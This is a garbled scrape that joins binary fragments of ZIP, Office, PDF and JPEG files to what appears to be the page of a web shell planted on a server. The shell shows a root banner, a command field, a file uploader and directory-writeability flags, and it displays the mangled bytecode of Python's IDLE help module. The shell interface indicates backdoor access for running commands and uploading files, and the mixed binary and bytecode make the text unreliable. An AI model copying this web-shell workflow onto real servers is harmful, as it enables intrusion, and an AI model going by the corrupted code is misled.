œ_#ÁÕ§TE NAŒ“KeÉ:”(åŽÖJÞùY’‚ñùž7; «]Û ý`8g“¯B© jd ÖÖ¸ðzœ¸¦4Ç3Kó^(ÍÖ¼ Õ€pvìwšõB4d f$Èü^0˜…åÌC$#2FŽÑ§±¦ÛZ/÷š&m£ñzÒÖ ’.Î]!Î;ƒ(Õ–¢d/—#Kª+tZyuÏB>NÛÖ†(¸ŒSà'³„Y˜´-_•¦¼´˜OlNK§¶ÒàŠˆTHµƒeTPå·fïM’…þuÏÍüp6دªE£åü‡ZØ'CKF#â«;‹eyO Qp„†l"ö1èíÙP ÏŒúl! BÝ2ñª•_VÁÉ÷3eu`–F¸ìI--ö<¿žë¯4õ캿¢)34Å{wMÉ2ÆÖFŸ¥` e9Ú¶¸P‡.”FÔï rY ‚²ÈTB,{ÛœéJ}«àQ4¹0Rû4D‚B§S‘ dO•v¾„™Sן¯3FeŸ™«+ÓâwH dÕÛÌì·P4ë&¥#rÜÉ Ù¦ê†ý·xòqk¯2,¹§™E\­ék‚×SᔏںÙ⺷ö£6…à ʾ qSá³Å|;àû}4Ÿ($â¹VY~óÍ!èÜÒŒËX½Ù1j‚VíÍŸš³+œ]«½g{_{/vµ½\¢¶vÉWKÿ:ñám½ ¥ S²x‘t ŽšÝÙÿÀÇ^ný PK   IW™k‚½÷ á  _rels/.relsUT dìd dìd dìd­’ÏNÃ0 ‡ï{ŠÈ÷ÕÝ@¡¥» ¤Ý*`%îÑ&QâÁöö‚J£ì°cœŸ¿|¶²ÙÆA½rL½wVE Šñ¶w­†çúay * 9Kƒw¬áÈ ¶ÕbóÄIîI]’Ê—4t"á1™ŽGJ…ìòMããH’±Å@æ…ZÆuYÞ`üÍ€jÂT;«!îì T} |Û7MoøÞ›ýÈNN<|v–í2ÄÜ¥ÏèšbË¢Ázó˜Ë )„"£O­Ï7ú{ZYÈ’yÞç#1'tuÉM?6o>Z´_å9›ëKÚ˜}?þ³žÏÌ·N>fµx PK    IWª½e  ¢ U  € word/document.xmlUT dìdPK    IWþË3” z  €J¢ word/settings.xmlUT dìdPK    IWC‡{š' ƒ  €¤ docProps/custom.xmlUT dìdPK    IW츱=Œ   €‡¥ [Content_Types].xmlUT dìdPK    IWV%ë±"   €U§ docProps/app.xmlUT dìdPK    IW€RŒ 3  €¶¨ docProps/core.xmlUT dìdPK    IWkòDn ô  €ª word/_rels/document.xml.relsUT dìdPK    IW ;$î   €Î« word/fontTable.xmlUT dìdPK    IW+åäz] ÷.  €ý¬ word/numbering.xmlUT dìdPK    IW¤2×r- ¿  €›° word/styles.xmlUT dìdPK    IWMFÒ ø  €´ word/header1.xmlUT dìdPK    IWF— T e  €· word/media/image1.jpegUT dìdPK    IW!Yéáå   €°Ë word/media/image2.pngUT dìdPK    IW°Àºë ú  €ÙÌ word/media/image3.pngUT dìdPK    IW$“†ª L  €Î word/footer1.xmlUT dìdPK    IWzaGôM   €ñÑ word/footer2.xmlUT dìdPK    IW–µ­âº P  €}Õ word/theme/theme1.xmlUT dìdPK    IW™k‚½÷ á €{Û _rels/.relsUT PK   ! bîh^   [Content_Types].xml ¢(   ¬”ËNÃ0E÷HüCä-Jܲ@5í‚Ç*Q>Àēƪc[žiiÿž‰ûB¡j7±ÏÜ{2ñÍh²nm¶‚ˆÆ»R ‹ÈÀU^7/ÅÇì%¿’rZYï @1__f› ˜q·ÃR4DáAJ¬h>€ãÚÇV߯¹ ªZ¨9ÈÛÁàNVÞ8Ê©ÓãÑÔji){^óã-I‹"{Üv^¥P!XS)bR¹rú—K¾s(¸3Õ`cÞ0†½ÝÎß»¾7M4²©ŠôªZƐk+¿|\|z¿(Ž‹ôPúº6h_-[ž@!‚ÒØ Pk‹´­2nÏ}Ä?£LËð Ýû%áÄßdºždN"m,à¥ÇžDO97*‚~§Èɸ8ÀOíc|n¦Ñ äEøÿöéºóÀBÉÀ!$}‡íàÈé;{ìÐå[ƒîñ–é2þ ÿÿ PK   ! µU0#ô L _rels/.rels ¢(   ¬’MOÃ0 †ïHü‡È÷ÕݐBKwAH»!T~€Iܵ£$Ý¿'TƒG½~üÊÛÝ<êÈ!öâ4¬‹;#¶w­†—úqu *&r–Fq¬áÄvÕõÕö™GJy(v½*«¸¨¡KÉß#FÓñD±Ï.W ¥†=™ZÆMYÞbø®ÕBSí­†°·7 ê“Ï›×–¦é ?ˆ9LìÒ™ÈsbgÙ®|Èl!õùUSh9i°bžr:"y_dlÀóD›¿ý|-NœÈR"4ø2ÏGÇ% õZ´4ñ˝yÄ7 ëÈðÉ‚‹¨Þ ÿÿ PK   ! Q48wÛ —  xl/workbook.xml¤UÙnâ0}iþ!cñ‡ *–¢AšVU×$dC¬&vÆv UÕŸë@XÊK§/¹p|Žï¹N÷b“¥Ö •Š ÞC¸î"‹òHÄŒ¯zèá~b·‘¥4á1I§=ôJºèÿüÑ] ù¼âÙ ®z(Ñ:GE ͈ª‹œrˆ,…̈†©\9*—”Ä*¡Tg©ã¹nàd„q´Eåg0ÄrÉ":Q‘Q®· ’¦D}•°\UhYô¸ŒÈç"·#‘å ±`)Ó¯%(²²(œ®¸d‘‚ì nZ w v¡ñª• t¶TÆ")”Xê:@;[Ògú±ë`|²›ó=ø’ïHúÂL÷¬dðEVÁ+8€a÷Ûh¬Uz%„Íû"ZsÏÍCýî’¥ôqk]‹äù5ÉL¦Rd¥Dé˘i÷P ¦bM/|dÉ",…¨çãFNoçiûéë>aêiçsó#ðÄ ÕTr¢éHp ÜIú®ÝJìQ"ÀÜÖ-ý[0I¡¦ÀZ Z…d¡nˆN¬B¦=4 g %PDF-1.4 %âãÏÓ 3 0 obj << /Linearized 1 /L 422775 ÿØÿà JFIF    ÿÛ C      ÿÛ C   ÿÀ  X" ÿÄ    ÿÄ H   !1A"Qaq2‘¡#±ÁBRÑ3Cbrá$S‚¢²ð4ñ%6DTc’ÂsÿÄ   ÿÄ =  !1AQ"aq‘Á2R¡±BÑð#3br’²4á$‚¢ÂñÿÚ   ? áHBßÝ`„! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! ! stream

___________________________ < root@rinduuu:~# /home/rinduuuuuuu?! > ___________________________

Command :

ikan Uploader :
Directory :  /opt/alt/python37/lib64/python3.7/idlelib/__pycache__/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : //opt/alt/python37/lib64/python3.7/idlelib/__pycache__/help.cpython-37.opt-1.pyc
B

� f�-�@s�dZddlmZddlmZmZmZmZddlm	Z	ddl
mZmZm
Z
mZddlmZmZddl
mZddlmZGd	d
�d
e�ZGdd�de
�ZGd
d�de�ZGdd�de�Zdd�Zdd�Zedkr�ddlmZedddd�ddlm Z e e�dS)a help.py: Implement the Idle help menu.
Contents are subject to revision at any time, without notice.


Help => About IDLE: display About Idle dialog

<to be moved here from help_about.py>


Help => IDLE Help: Display help.html with proper formatting.
Doc/library/idle.rst (Sphinx)=> Doc/build/html/library/idle.html
(help.copy_strip)=> Lib/idlelib/help.html

HelpParser - Parse help.html and render to tk Text.

HelpText - Display formatted help.html.

HelpFrame - Contain text, scrollbar, and table-of-contents.
(This will be needed for display in a future tabbed window.)

HelpWindow - Display HelpFrame in a standalone window.

copy_strip - Copy idle.html to help.html, rstripping each line.

show_idlehelp - Create HelpWindow.  Called in EditorWindow.help_dialog.
�)�
HTMLParser)�abspath�dirname�isfile�join)�python_version)�Toplevel�Frame�Text�Menu)�
Menubutton�	Scrollbar)�font)�idleConfc@s:eZdZdZdd�Zddd�Zdd�Zd	d
�Zdd�Zd
S)�
HelpParsera~Render help.html into a text widget.

    The overridden handle_xyz methods handle a subset of html tags.
    The supplied text should have the needed tag configurations.
    The behavior for unsupported tags, such as table, is undefined.
    If the tags generated by Sphinx change, this class, especially
    the handle_starttag and handle_endtags methods, might have to also.
    cCs`tj|dd�||_d|_d|_d|_d|_d|_d|_d|_	d|_
d|_g|_d|_
d|_dS)NT)Zconvert_charrefs�Fr)r�__init__�text�tags�chartags�show�hdrlink�level�pre�hprefix�	nested_dl�
simplelist�toc�header�prevtag)�selfr�r!�1/opt/alt/python37/lib64/python3.7/idlelib/help.pyr3szHelpParser.__init__�cCs0|j|7_|jdkrdndt|j�|_dS)z#Change indent (+1, 0, -1) and tags.rr�lN)r�strr)r Zamtr!r!r"�indentCszHelpParser.indentcCs>d}x|D]\}}|dkr
|}q
Wd}|dkr@|dkr@d|_�n�|dkrZ|dkrZd|_�n�|dkr�|jr�|jd	s�|j�d
d�}|r�|��s�dnd
}�nx|dkr�|dkr�d|_�n^|dkr�|dkr�d|_�nD|dkr�d|_�n2|dk�r|�d�dk�rd
}d|_nd|_|��n�|dk�r2|j	d	k�rd|_
n�|dk�rN|j�rHdnd}n�|dk�rp|j
�sddnd
}d|_
n�|dk�r�|��d
}n�|dk�r�d|_|j�r�|j�dd�d|_
nZ|dk�r�|dk�r�d|_n>|dk�r�||_
n,|d k�r|j�r
d|_|j�dd�||_
|j�r0|j�d||j
|jf�d|f|_d!S)"zHandle starttags in help.html.r�classZdivZsectionTZ
sphinxsidebarF�przend-1c linestartzend-1cz

�
�spanrZversionmodified�em)�ul�olZsimple���ZdlZliz
* z

* Zdt�dd�end�preblock�aZ
headerlink�h1)�h2�h3N)rrr�get�isspacer�findrr&rrr�insertrrr)r �tagZattrsZclass_r2�v�sZlastliner!r!r"�handle_starttagHsh













zHelpParser.handle_starttagcCs�|dkrP|jrH|dkrdn|dkr&dnd}|j�||j|j�d�f�d|_nH|dkr`d|_n8|d	krpd
|_n(|dkr�d
|_	d|_n|dkr�|�
d
�d
|f|_dS)zHandle endtags in help.html.)r3r4r5r5z        r4z    rr9)r*r+r2Fr)r,r/r-r.N)rr�appendrr�indexrrrrr&r)r r:r&r!r!r"�
handle_endtag�s"
zHelpParser.handle_endtagcCs�|jr�|js�|jr|n
|�dd�}|jdkr`y|d|�d��|_Wntk
r^d|_YnX|jdkr�|jdkr�|dt|j��|jkr�|t|j�d�}|j	|�
�7_	|j�d||j|j
f�dS)	z"Handle date segments in help.html.r)� r3rr)r3r4r5Nr0)rrr�replacerr?r�
ValueError�lenr�striprr9r)r �data�dr!r!r"�handle_data�s


zHelpParser.handle_dataN)r#)	�__name__�
__module__�__qualname__�__doc__rr&r=r@rHr!r!r!r"r*s
:rc@s eZdZdZdd�Zdd�ZdS)�HelpTextzDisplay help.html.c	
Csvtjddddd�}tjddddd�}d|d}tj||d	d
dd
||d�|�d
ddg�}|�dddg�}|df|d<|jd|ddfd�|jd|ddfd�|jd|ddfd�|jd|ddfd�|jd|dfd d!�|jd"|d#fd$d%d&d'd(�|jd)d$d$d*�|jd+d,d,d*�|jd-d.d.d*�|jd/d0d0d*�t|�|_t|d1d2��}|�	�}Wd3QRX|j�
|�d4|d5<d3S)6z'Configure tags and feed file to parser.�mainZEditorWindow�width�int)�type�height��Zwordr�)ZwrapZhighlightthicknessZpadx�borderwidthrOrRZ
TkDefaultFontZarialZ	helveticaZTkFixedFontZmonacoZcourier�rr+Zitalic)rr3�Zboldr4�r5�rz#f6f6ff)r�
backgroundr1�
�r#Zsolidz#eeffcc)r�lmargin1rVZreliefr[�l1)r^Zlmargin2�l2�2�l3�K�l4�dzutf-8)�encodingNZdisabled�state)rZ	GetOptionr
r�findfontZ
tag_configurer�parser�open�readZfeed)	r �parent�filenameZuwideZuhighZ
normalfontZ	fixedfont�f�contentsr!r!r"r�s0
zHelpText.__init__cCsnxh|D]`}|��dd�tj|d�D�krDtj|d|d�}|��dS|��dd�tj|d�D�kr|SqWdS)	z4Return name of first font family derived from names.css|]}|��VqdS)N)�lower)�.0�xr!r!r"�	<genexpr>�sz$HelpText.findfont.<locals>.<genexpr>)�rootT)�name�existsrtZfamilycss|]}|��VqdS)N)rp)rqrrr!r!r"rs�sN)rp�tkfont�namesZFontZactualZfamilies)r rxrurr!r!r"rh�s
zHelpText.findfontN)rIrJrKrLrrhr!r!r!r"rM�srMc@s eZdZdZdd�Zdd�ZdS)�	HelpFramez&Display html text, scrollbar, and toc.cCs�t�||�t||�|_}|d|d<|�|�|_}t||jd�|_}|j	|d<|j
ddd�|jddd�|jdddd�|jddd	d�|jdd
dd�dS)Nr[)�commandZyscrollcommandrr#)�weightZnw)�row�column�sticky�nsew��ns)
r	rrMr�toc_menurr
�yview�scroll�setZrowconfigureZcolumnconfigure�grid)r rlrmrrr�r!r!r"r�s
zHelpFrame.__init__csTt|dd�}t|dd�}x.�jjD]"\}}|j||f�fdd�	d�q"W||d<|S)	z+Create table of contents as drop-down menu.ZTOC)rF)Ztearoffcs
��|�S)N)r�)�dex)rr!r"�<lambda>��z$HelpFrame.toc_menu.<locals>.<lambda>)ZlabelrzZmenu)rrrirZadd_command)r rrZdropZlblr�r!)rr"r��szHelpFrame.toc_menuN)rIrJrKrLrr�r!r!r!r"ry�sryc@seZdZdZdd�ZdS)�
HelpWindowz!Display frame with rendered html.cCsZt�||�|�|�|�d|j�t||�jdddd�|jddd�|jddd�dS)NZWM_DELETE_WINDOWrr)r}r|r~r#)r{)	rrZwm_titleZprotocolZdestroyryr�Zgrid_columnconfigureZgrid_rowconfigure)r rlrm�titler!r!r"r�s
zHelpWindow.__init__N)rIrJrKrLrr!r!r!r"r��sr�c
Cs�tttttt����ddddd�}tttt��d�}t|d��<}t|d��&}x|D]}|�|��d	�qRWWd
QRXWd
QRXt|�d|���d
S)a^Copy idle.html to idlelib/help.html, stripping trailing whitespace.

    Files with trailing whitespace cannot be pushed to the git cpython
    repository.  For 3.x (on Windows), help.html is generated, after
    editing idle.rst on the master branch, with
      sphinx-build -bhtml . build/html
      python_d.exe -c "from idlelib.help import copy_strip; copy_strip()"
    Check build/html/library/idle.html, the help.html diff, and the text
    displayed by Help => IDLE Help.  Add a blurb and create a PR.

    It can be worthwhile to occasionally generate help.html without
    touching idle.rst.  Changes to the master version and to the doc
    build system may result in changes that should not changed
    the displayed text, but might break HelpParser.

    As long as master and maintenance versions of idle.rst remain the
    same, help.html can be backported.  The internal Python version
    number is not displayed.  If maintenance idle.rst diverges from
    the master version, then instead of backporting help.html from
    master, repeat the procedure above to generate a maintenance
    version.
    ZDocZbuildZhtmlZlibraryz	idle.htmlz	help.html�rb�wb�
Nz copied to )rrr�__file__rj�write�rstrip�print)�src�dstZinn�out�liner!r!r"�
copy_strip�s
*r�cCs4tttt��d�}t|�sdSt||dt��dS)z7Create HelpWindow; called from Idle Help event handler.z	help.htmlNzIDLE Help (%s))rrrr�rr�r)rlrmr!r!r"�
show_idlehelpsr��__main__)rNzidlelib.idle_test.test_helpr�F)�	verbosity�exit)�runN)!rLZhtml.parserrZos.pathrrrr�platformrZtkinterrr	r
rZtkinter.ttkrr
rrwZidlelib.configrrrMryr�r�r�rIZunittestrNZidlelib.idle_test.htestr�r!r!r!r"�<module>s$~* 

........